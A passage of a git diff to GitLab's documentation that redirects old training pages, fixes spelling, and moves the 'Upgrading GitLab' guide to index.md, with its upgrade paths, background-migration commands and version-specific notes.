Dixon - Software eats software development](https://cdixon.org/2014/04/13/software-eats-software-development/) +1. [2015 Venture Beat article - Actually, Open Source is Eating the World](https://venturebeat.com/2015/12/06/its-actually-open-source-software-thats-eating-the-world/) + +## 5. Resources for GitLab Team Members + +NOTE: +Some content can only be accessed by GitLab team members. + +1. [Sales Path](https://about.gitlab.com/handbook/sales/onboarding/) +1. [User Training](training/user_training.md) +1. [GitLab Flow Training](training/gitlab_flow.md) +1. [Training Topics](training/index.md) +1. [GitLab architecture](../development/architecture.md) +1. [Client Assessment of GitLab versus GitHub](https://docs.google.com/a/gitlab.com/spreadsheets/d/18cRF9Y5I6I7Z_ab6qhBEW55YpEMyU4PitZYjomVHM-M/edit?usp=sharing) diff --git a/doc/university/process/README.md b/doc/university/process/README.md deleted file mode 100644 index c0251229916..00000000000 --- a/doc/university/process/README.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://docs.gitlab.com' ---- - -Visit our [documentation page](https://docs.gitlab.com) for information about GitLab. diff --git a/doc/university/training/end-user/README.md b/doc/university/training/end-user/README.md deleted file mode 100644 index c0251229916..00000000000 --- a/doc/university/training/end-user/README.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://docs.gitlab.com' ---- - -Visit our [documentation page](https://docs.gitlab.com) for information about GitLab. diff --git a/doc/university/training/gitlab_flow.md b/doc/university/training/gitlab_flow.md index f25bff03926..bdc97ff8d28 100644 --- a/doc/university/training/gitlab_flow.md +++ b/doc/university/training/gitlab_flow.md @@ -1,57 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -type: reference +redirect_to: '../../topics/gitlab_flow.md' --- -# What is the GitLab Flow +This document was moved to [another location](../../topics/gitlab_flow.md). -- A simplified branching strategy -- All features and fixes first go to master -- Allows for 'production' or 'stable' branches -- Bug fixes/hot fix patches are cherry-picked from master - -## Feature branches - -- Create a feature/bugfix branch to do all work -- Use merge requests to merge to master - - - -## Production branch - -- One, long-running production release branch - as opposed to individual stable branches -- Consider creating a tag for each version that gets deployed - - - -## Release branch - -- Useful if you release software to customers -- When preparing a new release, create stable branch - from master -- Consider creating a tag for each version -- Cherry-pick critical bug fixes to stable branch for patch release -- Never commit bug fixes directly to stable branch - - - -## More details - -For more information, read through the [GitLab Flow](../../topics/gitlab_flow.md) -documentation. - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +<!-- This redirect file can be deleted after <2021-05-16>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/training/index.md b/doc/university/training/index.md index deae79e51b0..13cf4184560 100644 --- a/doc/university/training/index.md +++ b/doc/university/training/index.md @@ -8,8 +8,10 @@ type: index # GitLab Training Material +<!-- vale gitlab.Spelling = NO --> All GitLab training material is stored in Markdown format. Slides are -generated using [Deskset](https://www.deckset.com/). +generated using [Deckset](https://www.deckset.com/). +<!-- vale gitlab.Spelling = YES --> All training material is open to public contribution. @@ -20,7 +22,7 @@ This section contains the following topics: - [Cherry pick](topics/cherry_picking.md). - [Code review and collaboration with Merge Requests](topics/merge_requests.md). - [Configure your environment](topics/env_setup.md). -- [Explore GitLab](../../gitlab-basics/README.md). +- [Explore GitLab](../../gitlab-basics/index.md). - [Feature branching](topics/feature_branching.md). - [Getting started](topics/getting_started.md). - [GitLab flow](gitlab_flow.md). @@ -40,6 +42,6 @@ This section contains the following topics: 1. [GitLab Documentation](https://docs.gitlab.com) 1. [GUI Clients](https://git-scm.com/downloads/guis) 1. [Pro Git book](https://git-scm.com/book/en/v2) -1. [Platzi Course](https://courses.platzi.com/courses/git-gitlab/) +1. <!-- vale gitlab.Spelling = NO --> [Platzi Course](https://courses.platzi.com/courses/git-gitlab/) <!-- vale gitlab.Spelling = NO --> 1. [Code School tutorial](http://try.github.io/) 1. Contact us at `subscribers@gitlab.com` diff --git a/doc/university/training/topics/explore_gitlab.md b/doc/university/training/topics/explore_gitlab.md deleted file mode 100644 index 584069aa7b0..00000000000 --- a/doc/university/training/topics/explore_gitlab.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../gitlab-basics/README.md' ---- - -This document was moved to [another location](../../../gitlab-basics/README.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/training/topics/getting_started.md b/doc/university/training/topics/getting_started.md index fd600624a25..2c3d5fe15de 100644 --- a/doc/university/training/topics/getting_started.md +++ b/doc/university/training/topics/getting_started.md @@ -21,7 +21,7 @@ comments: false git clone <url> ``` -## Central Repos +## Central Repositories - To instantiate a central repository a `--bare` flag is required. - Bare repositories don't allow file editing or committing changes. @@ -34,7 +34,7 @@ comments: false ## Instantiate workflow with clone 1. Create a project in your user namespace. - - Choose to import from 'Any Repo by URL' and use <https://gitlab.com/gitlab-org/training-examples.git>. + - Choose to import from **Any Repository by URL** and use <https://gitlab.com/gitlab-org/training-examples.git>. 1. Create a '`Workspace`' directory in your home directory. 1. Clone the '`training-examples`' project. diff --git a/doc/university/training/topics/gitlab_flow.md b/doc/university/training/topics/gitlab_flow.md deleted file mode 100644 index f6006ce0a60..00000000000 --- a/doc/university/training/topics/gitlab_flow.md +++ /dev/null @@ -1,3 +0,0 @@ ---- -redirect_to: '../gitlab_flow.md' ---- diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md index ad8f094d185..75c4fe25842 100644 --- a/doc/university/training/user_training.md +++ b/doc/university/training/user_training.md @@ -102,7 +102,7 @@ ssh-rsa AAAAB3NzaC1yc2EAAAADAQEL17Ufacg8cDhlQMS5NhV8z3GHZdhCrZbl4gz you@example. ## Create a project - Create a project in your user namespace. - - Choose to import from 'Any Repo by URL' and use <https://gitlab.com/gitlab-org/training-examples.git>. + - Choose to import from **Any Repository by URL** and use <https://gitlab.com/gitlab-org/training-examples.git>. - Create a '`development`' or '`workspace`' directory in your home directory. - Clone the '`training-examples`' project. @@ -214,9 +214,13 @@ Create your first merge request: ## Feedback and Collaboration resources +<!-- vale gitlab.Spelling = NO --> + Review the Thoughtbot code-review guide for suggestions to follow when reviewing merge requests: <https://github.com/thoughtbot/guides/tree/master/code-review>. +<!-- vale gitlab.Spelling = YES --> + See GitLab merge requests for examples: <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests>. ## Explore GitLab projects diff --git a/doc/update/README.md b/doc/update/README.md index 958beeeb321..c815842480c 100644 --- a/doc/update/README.md +++ b/doc/update/README.md @@ -1,423 +1,8 @@ --- -stage: Enablement -group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'index.md' --- -# Upgrading GitLab +This document was moved to [another location](index.md). -Upgrading GitLab is a relatively straightforward process, but the complexity -can increase based on the installation method you have used, how old your -GitLab version is, if you're upgrading to a major version, and so on. - -Make sure to read the whole page as it contains information related to every upgrade method. - -The [maintenance policy documentation](../policy/maintenance.md) -has additional information about upgrading, including: - -- How to interpret GitLab product versioning. -- Recommendations on the what release to run. -- How we use patch and security patch releases. -- When we backport code changes. - -## Upgrade based on installation method - -Depending on the installation method and your GitLab version, there are multiple -official ways to update GitLab: - -- [Linux packages (Omnibus GitLab)](#linux-packages-omnibus-gitlab) -- [Source installations](#installation-from-source) -- [Docker installations](#installation-using-docker) -- [Kubernetes (Helm) installations](#installation-using-helm) - -### Linux packages (Omnibus GitLab) - -The [Omnibus update guide](https://docs.gitlab.com/omnibus/update/) -contains the steps needed to update a package installed by official GitLab -repositories. - -There are also instructions when you want to -[update to a specific version](https://docs.gitlab.com/omnibus/update/#multi-step-upgrade-using-the-official-repositories). - -### Installation from source - -- [Upgrading Community Edition and Enterprise Edition from - source](upgrading_from_source.md) - The guidelines for upgrading Community - Edition and Enterprise Edition from source. -- [Patch versions](patch_versions.md) guide includes the steps needed for a - patch version, such as 13.2.0 to 13.2.1, and apply to both Community and Enterprise - Editions. - -In the past we used separate documents for the upgrading instructions, but we -have since switched to using a single document. The old upgrading guidelines -can still be found in the Git repository: - -- [Old upgrading guidelines for Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/tree/11-8-stable/doc/update) -- [Old upgrading guidelines for Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/tree/11-8-stable-ee/doc/update) - -### Installation using Docker - -GitLab provides official Docker images for both Community and Enterprise -editions. They are based on the Omnibus package and instructions on how to -update them are in [a separate document](https://docs.gitlab.com/omnibus/docker/README.html). - -### Installation using Helm - -GitLab can be deployed into a Kubernetes cluster using Helm. -Instructions on how to update a cloud-native deployment are in -[a separate document](https://docs.gitlab.com/charts/installation/upgrade.html). - -Use the [version mapping](https://docs.gitlab.com/charts/installation/version_mappings.html) -from the chart version to GitLab version to determine the [upgrade path](#upgrade-paths). - -## Checking for background migrations before upgrading - -Certain major/minor releases may require a set of background migrations to be -finished. The number of remaining migrations jobs can be found by running the -following command: - -**For Omnibus installations** - -If using GitLab 12.9 and newer, run: - -```shell -sudo gitlab-rails runner -e production 'puts Gitlab::BackgroundMigration.remaining' -``` - -If using GitLab 12.8 and older, run the following using a [Rails console](../administration/operations/rails_console.md#starting-a-rails-console-session): - -```ruby -puts Sidekiq::Queue.new("background_migration").size -Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }.size -``` - -**For installations from source** - -If using GitLab 12.9 and newer, run: - -```shell -cd /home/git/gitlab -sudo -u git -H bundle exec rails runner -e production 'puts Gitlab::BackgroundMigration.remaining' -``` - -If using GitLab 12.8 and older, run the following using a [Rails console](../administration/operations/rails_console.md#starting-a-rails-console-session): - -```ruby -puts Sidekiq::Queue.new("background_migration").size -Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }.size -``` - -### What do I do if my background migrations are stuck? - -WARNING: -The following operations can disrupt your GitLab performance. - -It is safe to re-execute these commands, especially if you have 1000+ pending jobs which would likely overflow your runtime memory. - -**For Omnibus installations** - -```shell -# Start the rails console -sudo gitlab-rails c - -# Execute the following in the rails console -scheduled_queue = Sidekiq::ScheduledSet.new -pending_job_classes = scheduled_queue.select { |job| job["class"] == "BackgroundMigrationWorker" }.map { |job| job["args"].first }.uniq -pending_job_classes.each { |job_class| Gitlab::BackgroundMigration.steal(job_class) } -``` - -**For installations from source** - -```shell -# Start the rails console -sudo -u git -H bundle exec rails RAILS_ENV=production - -# Execute the following in the rails console -scheduled_queue = Sidekiq::ScheduledSet.new -pending_job_classes = scheduled_queue.select { |job| job["class"] == "BackgroundMigrationWorker" }.map { |job| job["args"].first }.uniq -pending_job_classes.each { |job_class| Gitlab::BackgroundMigration.steal(job_class) } -``` - -## Upgrade paths - -Although you can generally upgrade through multiple GitLab versions in one go, -sometimes this can cause issues. - -Find where your version sits in the upgrade path below, and upgrade GitLab -accordingly, while also consulting the -[version-specific upgrade instructions](#version-specific-upgrading-instructions): - -`8.11.x` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` - > `13.5.3` - -The following table, while not exhaustive, shows some examples of the supported -upgrade paths. - -| Target version | Your version | Supported upgrade path | Note | -| --------------------- | ------------ | ------------------------ | ---- | -| `13.4.3` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.4.3` | Two intermediate versions are required: the final `12.10` release, plus `13.0`. | -| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.2.10` | Five intermediate versions are required: the final `11.11`, `12.0`, `12.1` and `12.10` releases, plus `13.0`. | -| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: the final `11.11` and `12.0` releases, plus `12.1` | -| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5` | -| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Five intermediate versions are required: `9.5`, `10.8`, `11.11`, `12.0`, `12.1`, then `12.2`. | -| `11.3.4` | `8.13.4` | `8.13.4` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.3.4` | `8.17.7` is the last version in version 8, `9.5.10` is the last version in version 9, `10.8.7` is the last version in version 10. | - -## Upgrading to a new major version - -Upgrading the *major* version requires more attention. -Backward-incompatible changes and migrations are reserved for major versions. -We cannot guarantee that upgrading between major versions will be seamless. -It is suggested to upgrade to the latest available *minor* version within -your major version before proceeding to the next major version. -Doing this will address any backward-incompatible changes or deprecations -to help ensure a successful upgrade to the next major release. -Identify a [supported upgrade path](#upgrade-paths). - -More significant migrations may occur during major release upgrades. To ensure these are successful: - -1. Increment to the first minor version (`x.0.x`) during the major version jump. -1. Proceed with upgrading to a newer release. - -It's also important to ensure that any background migrations have been fully completed -before upgrading to a new major version. To see the current size of the `background_migration` queue, -[Check for background migrations before upgrading](#checking-for-background-migrations-before-upgrading). - -If your GitLab instance has any runners associated with it, it is very -important to upgrade GitLab Runner to match the GitLab minor version that was -upgraded to. This is to ensure [compatibility with GitLab versions](https://docs.gitlab.com/runner/#compatibility-with-gitlab-versions). - -## Upgrading without downtime - -Starting with GitLab 9.1.0 it's possible to upgrade to a newer major, minor, or -patch version of GitLab without having to take your GitLab instance offline. -However, for this to work there are the following requirements: - -- You can only upgrade 1 minor release at a time. So from 9.1 to 9.2, not to - 9.3. -- You have to use [post-deployment - migrations](../development/post_deployment_migrations.md) (included in - [zero downtime update steps below](#steps)). -- You are using PostgreSQL. Starting from GitLab 12.1, MySQL is not supported. -- Multi-node GitLab instance. Single-node instances may experience brief interruptions - [as services restart (Puma in particular)](https://docs.gitlab.com/omnibus/update/README.html#single-node-deployment). - -Most of the time you can safely upgrade from a patch release to the next minor -release if the patch release is not the latest. For example, upgrading from -9.1.1 to 9.2.0 should be safe even if 9.1.2 has been released. We do recommend -you check the release posts of any releases between your current and target -version just in case they include any migrations that may require you to upgrade -1 release at a time. - -Some releases may also include so called "background migrations". These -migrations are performed in the background by Sidekiq and are often used for -migrating data. Background migrations are only added in the monthly releases. - -Certain major/minor releases may require a set of background migrations to be -finished. To guarantee this such a release will process any remaining jobs -before continuing the upgrading procedure. While this won't require downtime -(if the above conditions are met) we recommend users to keep at least 1 week -between upgrading major/minor releases, allowing the background migrations to -finish. The time necessary to complete these migrations can be reduced by -increasing the number of Sidekiq workers that can process jobs in the -`background_migration` queue. To see the size of this queue, -[Check for background migrations before upgrading](#checking-for-background-migrations-before-upgrading). - -As a rule of thumb, any database smaller than 10 GB won't take too much time to -upgrade; perhaps an hour at most per minor release. Larger databases however may -require more time, but this is highly dependent on the size of the database and -the migrations that are being performed. - -### Examples - -To help explain this, let's look at some examples. - -**Example 1:** You are running a large GitLab installation using version 9.4.2, -which is the latest patch release of 9.4. When GitLab 9.5.0 is released this -installation can be safely upgraded to 9.5.0 without requiring downtime if the -requirements mentioned above are met. You can also skip 9.5.0 and upgrade to -9.5.1 after it's released, but you **can not** upgrade straight to 9.6.0; you -_have_ to first upgrade to a 9.5.x release. - -**Example 2:** You are running a large GitLab installation using version 9.4.2, -which is the latest patch release of 9.4. GitLab 9.5 includes some background -migrations, and 10.0 will require these to be completed (processing any -remaining jobs for you). Skipping 9.5 is not possible without downtime, and due -to the background migrations would require potentially hours of downtime -depending on how long it takes for the background migrations to complete. To -work around this you will have to upgrade to 9.5.x first, then wait at least a -week before upgrading to 10.0. - -**Example 3:** You use MySQL as the database for GitLab. Any upgrade to a new -major/minor release will require downtime. If a release includes any background -migrations this could potentially lead to hours of downtime, depending on the -size of your database. To work around this you will have to use PostgreSQL and -meet the other online upgrade requirements mentioned above. - -### Steps - -Steps to [upgrade without downtime](https://docs.gitlab.com/omnibus/update/README.html#zero-downtime-updates). - -## Upgrading between editions - -GitLab comes in two flavors: [Community Edition](https://about.gitlab.com/features/#community) which is MIT licensed, -and [Enterprise Edition](https://about.gitlab.com/features/#enterprise) which builds on top of the Community Edition and -includes extra features mainly aimed at organizations with more than 100 users. - -Below you can find some guides to help you change GitLab editions. - -### Community to Enterprise Edition - -NOTE: -The following guides are for subscribers of the Enterprise Edition only. - -If you wish to upgrade your GitLab installation from Community to Enterprise -Edition, follow the guides below based on the installation method: - -- [Source CE to EE update guides](upgrading_from_ce_to_ee.md) - The steps are very similar - to a version upgrade: stop the server, get the code, update configuration files for - the new functionality, install libraries and do migrations, update the init - script, start the application and check its status. -- [Omnibus CE to EE](https://docs.gitlab.com/omnibus/update/README.html#update-community-edition-to-enterprise-edition) - Follow this guide to update your Omnibus - GitLab Community Edition to the Enterprise Edition. - -### Enterprise to Community Edition - -If you need to downgrade your Enterprise Edition installation back to Community -Edition, you can follow [this guide](../downgrade_ee_to_ce/README.md) to make the process as smooth as -possible. - -## Version-specific upgrading instructions - -Each month, a major or minor release of GitLab is published along with a -[release post](https://about.gitlab.com/releases/categories/releases/). -You should check all the major and minor versions you're passing over. -At the end of those release posts, there are three sections to look for: - -- Deprecations -- Removals -- Important notes on upgrading - -These will include: - -- Steps you need to perform as part of an upgrade. - For example [8.12](https://about.gitlab.com/releases/2016/09/22/gitlab-8-12-released/#upgrade-barometer) - required the Elasticsearch index to be recreated. Any older version of GitLab upgrading to 8.12 or higher would require this. -- Changes to the versions of software we support such as - [ceasing support for IE11 in GitLab 13](https://about.gitlab.com/releases/2020/03/22/gitlab-12-9-released/#ending-support-for-internet-explorer-11). - -Apart from the instructions in this section, you should also check the -installation-specific upgrade instructions, based on how you installed GitLab: - -- [Linux packages (Omnibus GitLab)](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes) -- [Helm charts](https://docs.gitlab.com/charts/installation/upgrade.html) - -NOTE: -Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) -and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. - -### 13.6.0 - -Ruby 2.7.2 is required. GitLab will not start with Ruby 2.6.6 or older versions. - -The required Git version is Git v2.29 or higher. - -### 13.3.0 - -The recommended Git version is Git v2.28. The minimum required version of Git -v2.24 remains the same. - -### 13.2.0 - -GitLab installations that have multiple web nodes will need to be -[upgraded to 13.1](#1310) before upgrading to 13.2 (and later) due to a -breaking change in Rails that can result in authorization issues. - -GitLab 13.2.0 [remediates](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35492) an [email verification bypass](https://about.gitlab.com/releases/2020/05/27/security-release-13-0-1-released/). -After upgrading, if some of your users are unexpectedly encountering 404 or 422 errors when signing in, -or "blocked" messages when using the command line, -their accounts may have been un-confirmed. -In that case, please ask them to check their email for a re-confirmation link. -For more information, see our discussion of [Email confirmation issues](../user/upgrade_email_bypass.md). - -GitLab 13.2.0 relies on the `btree_gist` extension for PostgreSQL. For installations with an externally managed PostgreSQL setup, please make sure to -[install the extension manually](https://www.postgresql.org/docs/11/sql-createextension.html) before upgrading GitLab if the database user for GitLab -is not a superuser. This is not necessary for installations using a GitLab managed PostgreSQL database. - -### 13.1.0 - -In 13.1.0, you must upgrade to either: - -- At least Git v2.24 (previously, the minimum required version was Git v2.22). -- The recommended Git v2.26. - -Failure to do so will result in internal errors in the Gitaly service in some RPCs due -to the use of the new `--end-of-options` Git flag. - -Additionally, in GitLab 13.1.0, the version of [Rails was upgraded from 6.0.3 to -6.0.3.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33454). -The Rails upgrade included a change to CSRF token generation which is -not backwards-compatible - GitLab servers with the new Rails version -will generate CSRF tokens that are not recognizable by GitLab servers -with the older Rails version - which could cause non-GET requests to -fail for [multi-node GitLab installations](https://docs.gitlab.com/omnibus/update/#multi-node--ha-deployment). - -So, if you are using multiple Rails servers and specifically upgrading from 13.0, -all servers must first be upgraded to 13.1.X before upgrading to 13.2.0 or later: - -1. Ensure all GitLab web nodes are on GitLab 13.1.X. -1. Optionally, enable the `global_csrf_token` feature flag to enable new - method of CSRF token generation: - - ```ruby - Feature.enable(:global_csrf_token) - ``` - -1. Only then, continue to upgrade to later versions of GitLab. - -### 12.2.0 - -In 12.2.0, we enabled Rails' authenticated cookie encryption. Old sessions are -automatically upgraded. - -However, session cookie downgrades are not supported. So after upgrading to 12.2.0, -any downgrades would result to all sessions being invalidated and users are logged out. - -### 12.1.0 - -If you are planning to upgrade from `12.0.x` to `12.10.x`, it is necessary to -perform an intermediary upgrade to `12.1.x` before upgrading to `12.10.x` to -avoid issues like [#215141](https://gitlab.com/gitlab-org/gitlab/-/issues/215141). - -### 12.0.0 - -In 12.0.0 we made various database related changes. These changes require that -users first upgrade to the latest 11.11 patch release. After upgraded to 11.11.x, -users can upgrade to 12.0.x. Failure to do so may result in database migrations -not being applied, which could lead to application errors. - -It is also required that you upgrade to 12.0.x before moving to a later version -of 12.x. - -Example 1: you are currently using GitLab 11.11.8, which is the latest patch -release for 11.11.x. You can upgrade as usual to 12.0.x. - -Example 2: you are currently using a version of GitLab 10.x. To upgrade, first -upgrade to the last 10.x release (10.8.7) then the last 11.x release (11.11.8). -After upgraded to 11.11.8 you can safely upgrade to 12.0.x. - -See our [documentation on upgrade paths](../policy/maintenance.md#upgrade-recommendations) -for more information. - -### Upgrades from versions earlier than 8.12 - -- `8.11.x` and earlier: you might have to upgrade to `8.12.0` specifically before you can upgrade to `8.17.7`. This was [reported in an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/207259). -- [CI changes prior to version 8.0](https://docs.gitlab.com/omnibus/update/README.html#updating-gitlab-ci-from-prior-540-to-version-714-via-omnibus-gitlab) - when it was merged into GitLab. - -## Miscellaneous - -- [MySQL to PostgreSQL](mysql_to_postgresql.md) guides you through migrating - your database from MySQL to PostgreSQL. -- [Restoring from backup after a failed upgrade](restore_after_failure.md) -- [Upgrading PostgreSQL Using Slony](upgrading_postgresql_using_slony.md), for - upgrading a PostgreSQL database with minimal downtime. -- [Managing PostgreSQL extensions](../install/postgresql_extensions.md) +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/update/index.md b/doc/update/index.md new file mode 100644 index 00000000000..a07a6f4b0b7 --- /dev/null +++ b/doc/update/index.md @@ -0,0 +1,423 @@ +--- +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Upgrading GitLab + +Upgrading GitLab is a relatively straightforward process, but the complexity +can increase based on the installation method you have used, how old your +GitLab version is, if you're upgrading to a major version, and so on. + +Make sure to read the whole page as it contains information related to every upgrade method. + +The [maintenance policy documentation](../policy/maintenance.md) +has additional information about upgrading, including: + +- How to interpret GitLab product versioning. +- Recommendations on the what release to run. +- How we use patch and security patch releases. +- When we backport code changes. + +## Upgrade based on installation method + +Depending on the installation method and your GitLab version, there are multiple +official ways to update GitLab: + +- [Linux packages (Omnibus GitLab)](#linux-packages-omnibus-gitlab) +- [Source installations](#installation-from-source) +- [Docker installations](#installation-using-docker) +- [Kubernetes (Helm) installations](#installation-using-helm) + +### Linux packages (Omnibus GitLab) + +The [Omnibus update guide](https://docs.gitlab.com/omnibus/update/) +contains the steps needed to update a package installed by official GitLab +repositories. + +There are also instructions when you want to +[update to a specific version](https://docs.gitlab.com/omnibus/update/#multi-step-upgrade-using-the-official-repositories). + +### Installation from source + +- [Upgrading Community Edition and Enterprise Edition from + source](upgrading_from_source.md) - The guidelines for upgrading Community + Edition and Enterprise Edition from source. +- [Patch versions](patch_versions.md) guide includes the steps needed for a + patch version, such as 13.2.0 to 13.2.1, and apply to both Community and Enterprise + Editions. + +In the past we used separate documents for the upgrading instructions, but we +have since switched to using a single document. The old upgrading guidelines +can still be found in the Git repository: + +- [Old upgrading guidelines for Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/tree/11-8-stable/doc/update) +- [Old upgrading guidelines for Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/tree/11-8-stable-ee/doc/update) + +### Installation using Docker + +GitLab provides official Docker images for both Community and Enterprise +editions. They are based on the Omnibus package and instructions on how to +update them are in [a separate document](https://docs.gitlab.com/omnibus/docker/README.html). + +### Installation using Helm + +GitLab can be deployed into a Kubernetes cluster using Helm. +Instructions on how to update a cloud-native deployment are in +[a separate document](https://docs.gitlab.com/charts/installation/upgrade.html). + +Use the [version mapping](https://docs.gitlab.com/charts/installation/version_mappings.html) +from the chart version to GitLab version to determine the [upgrade path](#upgrade-paths). + +## Checking for background migrations before upgrading + +Certain major/minor releases may require a set of background migrations to be +finished. The number of remaining migrations jobs can be found by running the +following command: + +**For Omnibus installations** + +If using GitLab 12.9 and newer, run: + +```shell +sudo gitlab-rails runner -e production 'puts Gitlab::BackgroundMigration.remaining' +``` + +If using GitLab 12.8 and older, run the following using a [Rails console](../administration/operations/rails_console.md#starting-a-rails-console-session): + +```ruby +puts Sidekiq::Queue.new("background_migration").size +Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }.size +``` + +**For installations from source** + +If using GitLab 12.9 and newer, run: + +```shell +cd /home/git/gitlab +sudo -u git -H bundle exec rails runner -e production 'puts Gitlab::BackgroundMigration.remaining' +``` + +If using GitLab 12.8 and older, run the following using a [Rails console](../administration/operations/rails_console.md#starting-a-rails-console-session): + +```ruby +Sidekiq::Queue.new("background_migration").size +Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }.size +``` + +### What do I do if my background migrations are stuck? + +WARNING: +The following operations can disrupt your GitLab performance. + +It is safe to re-execute these commands, especially if you have 1000+ pending jobs which would likely overflow your runtime memory. + +**For Omnibus installations** + +```shell +# Start the rails console +sudo gitlab-rails c + +# Execute the following in the rails console +scheduled_queue = Sidekiq::ScheduledSet.new +pending_job_classes = scheduled_queue.select { |job| job["class"] == "BackgroundMigrationWorker" }.map { |job| job["args"].first }.uniq +pending_job_classes.each { |job_class| Gitlab::BackgroundMigration.steal(job_class) } +``` + +**For installations from source** + +```shell +# Start the rails console +sudo -u git -H bundle exec rails RAILS_ENV=production + +# Execute the following in the rails console +scheduled_queue = Sidekiq::ScheduledSet.new +pending_job_classes = scheduled_queue.select { |job| job["class"] == "BackgroundMigrationWorker" }.map { |job| job["args"].first }.uniq +pending_job_classes.each { |job_class| Gitlab::BackgroundMigration.steal(job_class) } +``` + +## Upgrade paths + +Although you can generally upgrade through multiple GitLab versions in one go, +sometimes this can cause issues. + +Find where your version sits in the upgrade path below, and upgrade GitLab +accordingly, while also consulting the +[version-specific upgrade instructions](#version-specific-upgrading-instructions): + +`8.11.x` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` - > `13.x (latest)` + +The following table, while not exhaustive, shows some examples of the supported +upgrade paths. + +| Target version | Your version | Supported upgrade path | Note | +| --------------------- | ------------ | ------------------------ | ---- | +| `13.4.3` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.4.3` | Two intermediate versions are required: the final `12.10` release, plus `13.0`. | +| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.2.10` | Five intermediate versions are required: the final `11.11`, `12.0`, `12.1` and `12.10` releases, plus `13.0`. | +| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: the final `11.11` and `12.0` releases, plus `12.1` | +| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5` | +| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Five intermediate versions are required: `9.5`, `10.8`, `11.11`, `12.0`, `12.1`, then `12.2`. | +| `11.3.4` | `8.13.4` | `8.13.4` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.3.4` | `8.17.7` is the last version in version 8, `9.5.10` is the last version in version 9, `10.8.7` is the last version in version 10. | + +## Upgrading to a new major version + +Upgrading the *major* version requires more attention. +Backward-incompatible changes and migrations are reserved for major versions. +We cannot guarantee that upgrading between major versions will be seamless. +It is suggested to upgrade to the latest available *minor* version within +your major version before proceeding to the next major version. +Doing this will address any backward-incompatible changes or deprecations +to help ensure a successful upgrade to the next major release. +Identify a [supported upgrade path](#upgrade-paths). + +More significant migrations may occur during major release upgrades. To ensure these are successful: + +1. Increment to the first minor version (`x.0.x`) during the major version jump. +1. Proceed with upgrading to a newer release. + +It's also important to ensure that any background migrations have been fully 